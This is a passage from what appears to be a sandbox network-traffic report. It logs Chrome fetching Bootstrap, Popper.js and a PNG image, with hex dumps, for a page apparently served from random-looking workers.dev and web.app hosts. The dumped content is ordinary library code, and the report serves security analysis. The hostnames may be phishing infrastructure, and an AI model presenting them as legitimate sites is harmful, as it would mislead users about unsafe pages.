6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 76 65 Data Ascii: options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e Data Ascii: o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 Data Ascii: ''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 Data Ascii: o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49756	104.18.11.207	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:34 UTC	663	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://cloudsss-c367.iardainwkasn.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:34 UTC	969	IN	HTTP/1.1 200 OK Date: Mon, 29 Apr 2024 00:01:34 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 04/02/2024 02:05:57 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: e466f671de4d38f9c68b3b61fbe2a3a3 CDN-Cache: HIT CF-Cache-Status: HIT Age: 159815 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 87bb04af4f362ff8-ORD alt-svc: h3=":443"; ma=86400
2024-04-29 00:01:34 UTC	400	IN	Data Raw: 37 62 65 38 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7be8/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 Data Ascii: define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.de
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 Data Ascii: nd:function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.i
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 76 61 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f Data Ascii: var e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 3b 73 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d Data Ascii: ;s&&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._elem
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 52 3a 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 Data Ascii: R:"mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-i
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 72 76 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 Data Ascii: rval),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).f
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 7b 69 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 Data Ascii: {if(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 76 65 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e Data Ascii: vent(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).
2024-04-29 00:01:34 UTC	1369	IN	Data Raw: 41 44 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c Data Ascii: AD_DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="coll

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49763	199.36.158.100	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:35 UTC	558	OUT	GET /background-2.png HTTP/1.1 Host: hiirscktcy.web.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:35 UTC	594	IN	HTTP/1.1 200 OK Connection: close Content-Length: 27264 Cache-Control: max-age=3600 Content-Type: image/png Etag: "93df60630e1a53d11b961344218a04e9ac5f41bbdbcac863b84505a712934b67" Last-Modified: Thu, 07 Dec 2023 11:28:31 GMT Strict-Transport-Security: max-age=31556926; includeSubDomains; preload Accept-Ranges: bytes Date: Mon, 29 Apr 2024 00:01:35 GMT X-Served-By: cache-chi-kigq8000179-CHI X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1714348896.510439,VS0,VE74 Vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 8f 00 00 00 ea 08 06 00 00 00 5a d4 c9 ba 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 3a fb 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d Data Ascii: PNGIHDRZ cHRMz&u0`:pQ<sRGBgAMAapHYs:iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?><x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: 61 66 34 39 2d 39 66 34 66 2d 38 61 33 38 2d 64 32 39 35 61 65 34 39 35 36 63 62 3c 2f 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 4d 4d 3a 48 69 73 74 6f 72 79 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 72 64 66 3a 53 65 71 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 72 64 66 3a 6c 69 20 72 64 66 3a 70 61 72 73 65 54 79 70 65 3d 22 52 65 73 6f 75 72 63 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 45 76 74 3a 61 63 74 69 6f 6e 3e 63 72 65 61 74 65 64 3c 2f 73 74 45 76 74 3a 61 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3e 78 6d 70 2e 69 69 64 3a 30 30 65 35 37 Data Ascii: af49-9f4f-8a38-d295ae4956cb</xmpMM:OriginalDocumentID> <xmpMM:History> <rdf:Seq> <rdf:li rdf:parseType="Resource"> <stEvt:action>created</stEvt:action> <stEvt:instanceID>xmp.iid:00e57
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: 69 6f 6e 3e 31 3c 2f 74 69 66 66 3a 4f 72 69 65 6e 74 61 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 3c 74 69 66 66 3a 58 52 65 73 6f 6c 75 74 69 6f 6e 3e 37 32 30 30 30 30 2f 31 30 30 30 30 3c 2f 74 69 66 66 3a 58 52 65 73 6f 6c 75 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 3c 74 69 66 66 3a 59 52 65 73 6f 6c 75 74 69 6f 6e 3e 37 32 30 30 30 30 2f 31 30 30 30 30 3c 2f 74 69 66 66 3a 59 52 65 73 6f 6c 75 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 3c 74 69 66 66 3a 52 65 73 6f 6c 75 74 69 6f 6e 55 6e 69 74 3e 32 3c 2f 74 69 66 66 3a 52 65 73 6f 6c 75 74 69 6f 6e 55 6e 69 74 3e 0a 20 20 20 20 20 20 20 20 20 3c 65 78 69 66 3a 43 6f 6c 6f 72 53 70 61 63 65 3e 31 3c 2f 65 78 69 66 3a 43 6f 6c 6f 72 53 70 61 63 65 3e 0a 20 20 20 20 20 20 20 20 20 3c 65 78 Data Ascii: ion>1</tiff:Orientation> <tiff:XResolution>720000/10000</tiff:XResolution> <tiff:YResolution>720000/10000</tiff:YResolution> <tiff:ResolutionUnit>2</tiff:ResolutionUnit> <exif:ColorSpace>1</exif:ColorSpace> <ex
2024-04-29 00:01:35 UTC	1378	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii:
